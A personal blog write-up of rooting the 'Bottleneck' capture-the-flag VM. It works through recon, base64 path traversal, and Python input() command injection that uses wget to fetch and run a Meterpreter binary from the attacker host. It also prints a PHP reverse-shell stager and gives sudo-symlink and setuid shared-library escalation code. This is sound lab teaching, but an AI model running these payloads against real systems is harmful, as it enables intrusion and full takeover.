To celebrate the brand new blog platform, I felt compelled to create some content. I logged into my security lappy, and saw that I had downloaded a VM from Vulhub called Bottleneck and never actually gotten around to trying it out. Let’s jump in and see what it has in store for us.

Initial Scan

I didn’t save my inital scan, but here’s a reasonable recreation of my initial findings. There’s no much open here anyway, and you’ll immediately see that we’re going to be heading to port 80.

# Nmap 7.80 scan initiated Sun Nov 17 15:50:53 2019 as: nmap -A -T4 -p- -oA /root/bottleneck 192.168.56.5
Nmap scan report for 192.168.56.5
Host is up (0.00059s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 be:e0:d5:75:76:ea:d4:f3:91:77:f9:47:20:7d:bf:a4 (RSA)
|   256 7a:34:90:c0:59:d1:db:63:bd:4e:ca:5e:6f:ee:e7:2d (ECDSA)
|_  256 c9:b9:66:ce:28:ad:b7:b3:d9:bb:ed:22:0d:e4:45:db (ED25519)
80/tcp open  http    nginx
|_http-title: BOTTLENECK
MAC Address: 08:00:27:BF:B4:05 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/17%OT=22%CT=1%CU=32903%PV=Y%DS=1%DC=D%G=Y%M=080027%
OS:TM=5DD1C0D1%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=110%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%
OS:O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.59 ms 192.168.56.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 17 15:51:14 2019 -- 1 IP address (1 host up) scanned in 20.43 seconds

So, what’s on the web server? Looks like some kind of stock corporate landing page advertising security services. One interesting thing is that one of the pages mentioned a recent break in, so some of the content is not available. That sounds fairly promising, right?

Bottleneck website

Unfortunately, after clicking around nothing really jumped out me. Time to bust out dirb and see if we can turn something out.

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Sat Oct  5 14:46:11 2019
URL_BASE: http://192.168.56.5/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.5/ ----
==> DIRECTORY: http://192.168.56.5/css/
==> DIRECTORY: http://192.168.56.5/img/
+ http://192.168.56.5/index.php (CODE:200|SIZE:10175)
==> DIRECTORY: http://192.168.56.5/js/
==> DIRECTORY: http://192.168.56.5/vendor/

---- Entering directory: http://192.168.56.5/css/ ----

---- Entering directory: http://192.168.56.5/img/ ----
==> DIRECTORY: http://192.168.56.5/img/about/

---- Entering directory: http://192.168.56.5/js/ ----

---- Entering directory: http://192.168.56.5/vendor/ ----
==> DIRECTORY: http://192.168.56.5/vendor/jquery/

---- Entering directory: http://192.168.56.5/img/about/ ----

---- Entering directory: http://192.168.56.5/vendor/jquery/ ----

-----------------
END_TIME: Sat Oct  5 14:46:20 2019
DOWNLOADED: 32284 - FOUND: 1

Unfortunately, the default list didn’t turn up anything. Given that there aren’t any other ports open of interest, the web server has to be where we start our attack. If the default list doesn’t do it, lets try again with another one. This time I tried dirsearch with it’s default list (do dirb and dirsearch use the same lists? I’m not even sure. I just assumed they weren’t), but it found the same thing. Eventually, I tried the raft-large-files list in /usr/share/seclists (which I think comes in installed by default on Kali). I have no idea what the raft is referring to, but it said large, so that’s got to be an improvement.

[dirsearch]> python3 dirsearch.py -u 192.168.56.5 -e html, php -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt  --simple-report=output.txt

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: html,  | HTTP method: get | Threads: 10 | Wordlist size: 37038

Target: 192.168.56.5

[18:03:36] Starting:
[18:03:36] 200 -   10KB - /index.php
[18:03:37] 301 -  162B  - /  ->  http://192.168.56.5/./
[18:05:02] 200 -    6KB - /image_gallery.php

Task Completed

Exploit

Web site gallery

Hey, look at that, we got a new hit. Checking out the page shows up a bunch of images, or at least the same image repeated over and over again. Given that this page is not directly linked anywhere, and coupled with the message on the main site that we found earlier, I assume that this has to be where the vulnerability is. Checking to source didn’t appear to show anything interesting at first, but once I noticed the image links it started to get more interesting. The images appeared to be loaded from the same page, but there are two parameters passed in the URL: t and f. T is a very large number and f appears to be base64. Decoding the f paramter gets us this:

echo 'Ym90dGxlbmVja19kb250YmUucG5n' | base64 -d
bottleneck_dontbe.png

Ok, so that makes sense. I’m assuming the f parameter is a file name. No idea what t is used for yet though. While looking through the network connections in the browser dev tools, I tried to open up the image URL directly, but I was met with an empty response from the server. I loaded the page a few more times and noticed that the t variable appeared to keep increasing. Hmmmm….

When the page loads up, that image URL does provide a valid response, but when I try to access it later with the same parameter, I get nothing. I’m guessing that t is a timestamp. Specifically, the unix epoch of seconds since midnight, January 1970. Once we’re able to send the correct timestamp, it feels like we should be able to start manipulating the f parameter to get either an LFI or an RFI. However, here’s where I started to run into some headaches.

I created a small shell script that will take the file I want to access as a parameter, and uses the date command to get the current timestamp. I also saved the headers from one of my requests in the browser and stored them in headerFile.txt. It turns out I didn’t need that, but that’s the purpose in case you’re wondering. But anyway, even though it seemed like this should get a response from the server, I continued to recieve blank replies from the server. Turns out that the system clock on the VM had drifted and so the timestamp I was generating didn’t match what was on the server at all. I had to load the image_gallery page again a few times and see what the difference was before I was able to get the script to work. If you look at where I figure the date, you can see that I’m adjusting it pretty significantly. Your mileage will vary, obviously.

Image response

#!/bin/bash
FILE=$(echo -e -n $1 | base64 -w 0)
echo "looking for file $1, base64 encoded as $FILE"


curl --compressed -vv -H @headerFile.txt  "http://192.168.56.5/image_gallery.php?t=$(date -d '- 1882 seconds' +%s)\&f=$FILE"

Once I figured out the offset, I was able to pass my script bottleneck_dontbe.png and successfully recieved the correct image. My next thought was to try an LFI using the traditional target of /etc/passwd.

$> ./makereq.sh "../../../../../../../../etc/passwd"
looking for file ../../../../../../../../etc/passwd, base64 encoded as Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
*   Trying 192.168.56.5:80...
* TCP_NODELAY set
* Connected to 192.168.56.5 (192.168.56.5) port 80 (#0)
> GET /image_gallery.php?t=1573991938\&f=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1
> Host: 192.168.56.5
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
> Accept: image/webp,*/*
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://192.168.56.5/image_gallery.php
> Connection: keep-alive
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 17 Nov 2019 11:59:00 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Content-Encoding: gzip
<

Let me throw away your nice request into the bin.
The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.
Why don't you wait on your chair until someone (maybe the police) knock on your door?

<pre>
                                   _,..._
                                  /__    \
                                   >< `.  \
                                  /_    \ |
                                   \-_  /:|
                                 ,--'..'. :
                               ,'         `.
                            _,'             \
                   _.._,--''    ,           |
               , ,',, _|    _,.'|      |    |
            \||/,'(,' '--''    |      |    |
       _     |||                |      /-'  |
      | |   (- -)<`._           |     /    /
      | |  \_\O/_/`-.(<<        |____/    /
      | |   /   \              / -'| `--.'|
      | |   \___/             /           /
      | |    H H             /     |     |
      |_|_..-H-H--.._       /     ,|     |
        |-.._"_"__..-|     |   _-/ |     |
        |            |     |    |   \_   |
        |            |     |    |   |    |
        |            |     |____|   |    |
        |            |  _..'    |   |____|
        |            |_(____..._' _.'    |
        `-..______..-'""         (___..--'
* Connection #0 to host 192.168.56.5 left intact
<pre>

Well, I guess the message we found earlier did say that they had taken some cautionary measures. After playing around with several more requests, my guess was that this response was triggered by two conditions: one is if the file doesn’t exist, and the second was the presence of key words, like etc, var, and so on. I couldn’t figure out a way to get it to read any key files on the system, so my next thought was an RFI. Surprisingly, this worked. Sort of…

I have apache running on my laptop with a reverse shell generated by msfvenom ready to be downloaded. If I pass in the URL as the f parameter, it does fetch it, but the php is not interpreted.

$> ./makereq.sh "http://192.168.56.1/shells/meterp.php"
looking for file http://192.168.56.1/shells/meterp.php, base64 encoded as aHR0cDovLzE5Mi4xNjguNTYuMS9zaGVsbHMvbWV0ZXJwLnBocA==
*   Trying 192.168.56.5:80...
* TCP_NODELAY set
* Connected to 192.168.56.5 (192.168.56.5) port 80 (#0)
> GET /image_gallery.php?t=1573992282\&f=aHR0cDovLzE5Mi4xNjguNTYuMS9zaGVsbHMvbWV0ZXJwLnBocA== HTTP/1.1
> Host: 192.168.56.5
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
> Accept: image/webp,*/*
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://192.168.56.5/image_gallery.php
> Connection: keep-alive
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 17 Nov 2019 12:04:44 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Content-Encoding: gzip
<
<?php error_reporting(0); $ip = '192.168.56.1'; $port = 443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); ?>
* Connection #0 to host 192.168.56.5 left intact

Given that the PHP is not being executed, I assume this means that the server is not doing an include, but must instead just be reading the file contents directly and sending it back to the client. Boy, it sure would be nice if we could look at the source code, huh? Lets give that a shot. I tried just grabbing image_gallery.php, but that didn’t work. Apparently the file is one directory up. Once I fetched image_gallery.php, it appeared to be referencing image_gallery_load.php, which I promptly fetched as well.

.
.
.
looking for file ../image_gallery.php, base64 encoded as Li4vaW1hZ2VfZ2FsbGVyeS5waHA=
<?php
/*
CHANGELOG
v1.1: Still testing without content.
    I've fixed that problem that @p4w and @ska notified me after hacker attack.
    Shit I'm too lazy to make a big review of my code.
    I think that the LFI problem can be mitigated with the blacklist.
    By the way to protect me from attackers, all malicious requests are immediately sent to the SOC

v1.0: Starting this beautiful gallery
*/

$tstamp = time();
if(isset($_GET['t']) && isset($_GET['f'])){
    include_once 'image_gallery_load.php';
    exit();
}
.
.
.
$> ./makereq.sh "../image_gallery_load.php"
looking for file ../image_gallery_load.php, base64 encoded as Li4vaW1hZ2VfZ2FsbGVyeV9sb2FkLnBocA==
*   Trying 192.168.56.5:80...
* TCP_NODELAY set
* Connected to 192.168.56.5 (192.168.56.5) port 80 (#0)
> GET /image_gallery.php?t=1573992808\&f=Li4vaW1hZ2VfZ2FsbGVyeV9sb2FkLnBocA== HTTP/1.1
> Host: 192.168.56.5
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
> Accept: image/webp,*/*
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://192.168.56.5/image_gallery.php
> Connection: keep-alive
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 17 Nov 2019 12:13:31 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Content-Encoding: gzip
<
<?php
function print_troll(){
    $messages = $GLOBALS['messages'];
    $troll = $GLOBALS['troll'];
    echo $messages[0];
    echo $troll;
}

$troll = <<<EOT
<pre>
                                   _,..._
                                  /__    \
                                   >< `.  \
                                  /_    \ |
                                   \-_  /:|
                                 ,--'..'. :
                               ,'         `.
                            _,'             \
                   _.._,--''    ,           |
               , ,',, _|    _,.'|      |    |
            \\||/,'(,' '--''    |      |    |
       _     |||                |      /-'  |
      | |   (- -)<`._           |     /    /
      | |  \_\O/_/`-.(<<        |____/    /
      | |   /   \              / -'| `--.'|
      | |   \___/             /           /
      | |    H H             /     |     |
      |_|_..-H-H--.._       /     ,|     |
        |-.._"_"__..-|     |   _-/ |     |
        |            |     |    |   \_   |
        |            |     |    |   |    |
        |            |     |____|   |    |
        |            |  _..'    |   |____|
        |            |_(____..._' _.'    |
        `-..______..-'""         (___..--'
<pre>
EOT;

if(!isset($_GET['t']) || !isset($_GET['f'])){
    exit();
}

$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
    "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
    "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");

if(abs($_GET['t'] - $timestamp) > 10){
    exit();
}
foreach($blacklist as $elem){
    if(strstr($imagefile, $elem) !== FALSE)
        $isblocked = TRUE;
}
// report the intrusion to the soc and save information locally for further investigation
if($isblocked){
    $logfile = 'intrusion_'.$timestamp;
    $fp = fopen('/var/log/soc/'.$logfile, 'w');
    fwrite($fp, "'".$imagefile."'");
    fclose($fp);
    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
    print_troll();
    exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
    print_troll();
}
else{
    echo $filecontent;
}
chdir('../');

?>
* Connection #0 to host 192.168.56.5 left intact

Looking over the code, the only thing that appeared suspicious to me was the python script invocation. It seems like once the program finds text it considers to be in violation, it just appends it unescaped into a text file, which in turn gets fed directly to the python script. Is there some way we can take advantage of that? After some googling, I stumbled across the following page: https://www.sevenlayers.com/index.php/215-abusing-python-input Assuming I understand it correctly, in python 2.x, input effectively acts as a kind of eval call. This sounds fairly promising. I started experiementing with input (alternating the malformed data calls with retrievals to /tmp/output to see the output, which you can see where that’s saved in the php source code). I tried invoking netcat, but there was no -e option. I also tried launching some one-liner reverse shells from python and perl, but couldn’t get the formatting correct. After much time (hours, I think it was? Longer than it should’ve taken me), I eventually came up with the following two comands:

,/makereq.sh "' + '/etc/passwd' + str(__import__(\"os\").system(\"wget -O /tmp/comebacktome.elf  http://192.168.56.1/shells/combacktome.elf \")) + ' "
./makereq.sh "' + '/etc/passwd' + str(__import__(\"os\").system(\"/tmp/comebacktome.elf \")) + ' "  

The first one uploads an meterperter elf and saves it to the tmp directory. The second one simply invokes it, which in turn successfully comes back to the handler that I have set up waiting on my laptop. I think I might’ve also had to send a separate command to chmod the elf to be executeable? Can’t remember. The shell comes back as www-data, which is to be expected since the process was spawned from the web server.

Escalation

I’m not going to document all of the steps for enumeration because I don’t really have a process, per say… I just stumble around looking for things to jump out and say “exploit me!”. After a couple of hours, I couldn’t find anything. There aren’t really any processes running that appear suspicous, files appear to be locked down tight, no weird cron jobs. What’s an aspiring security professional (/s, in case it’s not obvious) to do ?

Normally one of the first things I check after getting a shell back is sudo -l, but I put it off in this case because I wold not normally expect the www-data user to be able to use it. Turns out I should’ve done it sooner though, because www-data can in fact run sudo for a script. It can’t run it as root, unfortunately, but I’m guessing that once we jump to the new user we’ll have better options.

sudo -l
Matching Defaults entries for www-data on bottleneck:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bottleneck:
    (bytevsbyte) NOPASSWD: /var/www/html/web_utils/clear_logs

What is clear_logs?

cat clear_logs.sh
#!/bin/bash
rm -f /var/log/soc/intrusion_*

Initially, I thought that the wildcard meant that this would be vulnterable to some kind of expansion vulnerablilty. However, after spending over an hour trying to create files with embedded spaces and/or null bytes, I hadn’t achieved anything. It was at point I ran a file /var/www/html/web_utils/clear_logs, I noticed that it was a symbolic link to /opt/clear_logs.sh (I think that was the file path, writing that from memory). Lamenting my hours of hard work wasted, I promptly unlinked it and then created a new script under /tmp (which just invovoked bash) and then recreated the link under /var/www/html/web_utils/.

python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bottleneck:/tmp$ cat /var/www/html/web_utils/clear_logs
cat /var/www/html/web_utils/clear_logs
#!/bin/bash
/bin/bash
www-data@bottleneck:/tmp$ sudo -u bytevsbyte /var/www/html/web_utils/clear_logs
<do -u bytevsbyte /var/www/html/web_utils/clear_logs
bytevsbyte@bottleneck:/tmp$ whoami
whoami
bytevsbyte
bytevsbyte@bottleneck:/tmp$

Success! We’ve managed to jump to another user. After inspecting their home directory, I found some ssh keys. It probably wasn’t needed, but I copied them back to my laptop and then ssh’ed into the server since having a real shell is always easier than using a reverse shell.

Yet More Escalation

Alright, we’re bytevsbyte, but what does this get us? After yet more enumeration, I found that there is a setuid program which is accessible to a group that bytevsbyte is a member of under /usr/test.

bytevsbyte@bottleneck:/tmp$ cd /usr/test
cd /usr/test
bytevsbyte@bottleneck:/usr/test$ ls
ls
testlib  testlib.c
bytevsbyte@bottleneck:/usr/test$ ls -asl
ls -asl
total 32
 4 drwxr-x---  2 root tester  4096 Sep 27 10:01 .
 4 drwxr-xr-x 14 root root    4096 Sep 26 05:19 ..
20 -rwsr-x---  1 root tester 16528 Sep 26 06:51 testlib
 4 -rw-r-----  1 root tester   281 Sep 27 10:01 testlib.c
bytevsbyte@bottleneck:/usr/test$ cat testlib.c
cat testlib.c
#include <dlfcn.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    void *handle;
    int (*function)();
    if(argc < 2)
        return 1;
    handle = dlopen(argv[1], RTLD_LAZY);
    function = dlsym(handle, "test_this");
    function();
    return 0;
}

bytevsbyte@bottleneck:/usr/test$

This is pretty straight forward, right? A quick google of dlopen tells us that it’s way of importing a function from a shared library. Granted, I’ve never compiled a shared library before, but it’s probably not hard. Some more googling lead me here, which made it seem straight forward enough.

I’m not going to over it in detail, but my basic idea was that I’d make test_this a function which just turned around called execve to /bin/bash, but that didn’t work. It didn’t matter what I did, any time I tried to spawn an external process, it would drop the effective user id back to bytevsbyte, which absolutely did me no good. I literally spent an ungodly amount of time with different calls to the exec family of functions with different variations, and it yielded no fruit. I knew that the program was in fact running as root becuase if I used c code to something like manually load the shadow file, I could read it in and output it (and in fact, I wondered if maybe cracking it would be a valid strategy). Long story short, I needed to call setuid to make the effective user id carry over the process in execve. I wish I had known this beforehand…

test.h

#include <stdio.h>

extern int test_this();

test.c

#include "test.h"
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>


int test_this() {
    setuid(0);
    setgid(0);
    execve("/bin/sh", 0, 0);
    return 0;
}

After compiling this:

gcc -c -fPIC -o test.o test.c
gcc -shared -o test_this.so test.o

I copied it to my web server directory, fetched it from bottleneck with wget, and then invoked it with /usr/test/testlib /home/bytevsbyte/test_this.so. Praise Cthulhu, we are root. Jesus, that was much harder than it should’ve been. Still though, as always, I’ve learned something new and now pledge to follow up with yet more content. So, that means I’ll probably have a new one of these in six months or so.

# whoami
whoami
root
# cd /root
cd /root
# ls
ls
root.txt  snap
# cat root.txt
cat root.txt
Great man, you have rooted bottleneck.
I hope you enjoyed the journey.
Share this flag with me on twitter: @bytevsbyt3

flag{w0w_y0u_h4v3_r00t3d_bottleneck}

██████╗  ██████╗ ████████╗████████╗██╗     ███████╗███╗   ██╗███████╗ ██████╗██╗  ██╗
██╔══██╗██╔═══██╗╚══██╔══╝╚══██╔══╝██║     ██╔════╝████╗  ██║██╔════╝██╔════╝██║ ██╔╝
██████╔╝██║   ██║   ██║      ██║   ██║     █████╗  ██╔██╗ ██║█████╗  ██║     █████╔╝
██╔══██╗██║   ██║   ██║      ██║   ██║     ██╔══╝  ██║╚██╗██║██╔══╝  ██║     ██╔═██╗
██████╔╝╚██████╔╝   ██║      ██║   ███████╗███████╗██║ ╚████║███████╗╚██████╗██║  ██╗
╚═════╝  ╚═════╝    ╚═╝      ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═══╝╚══════╝ ╚═════╝╚═╝  ╚═╝
#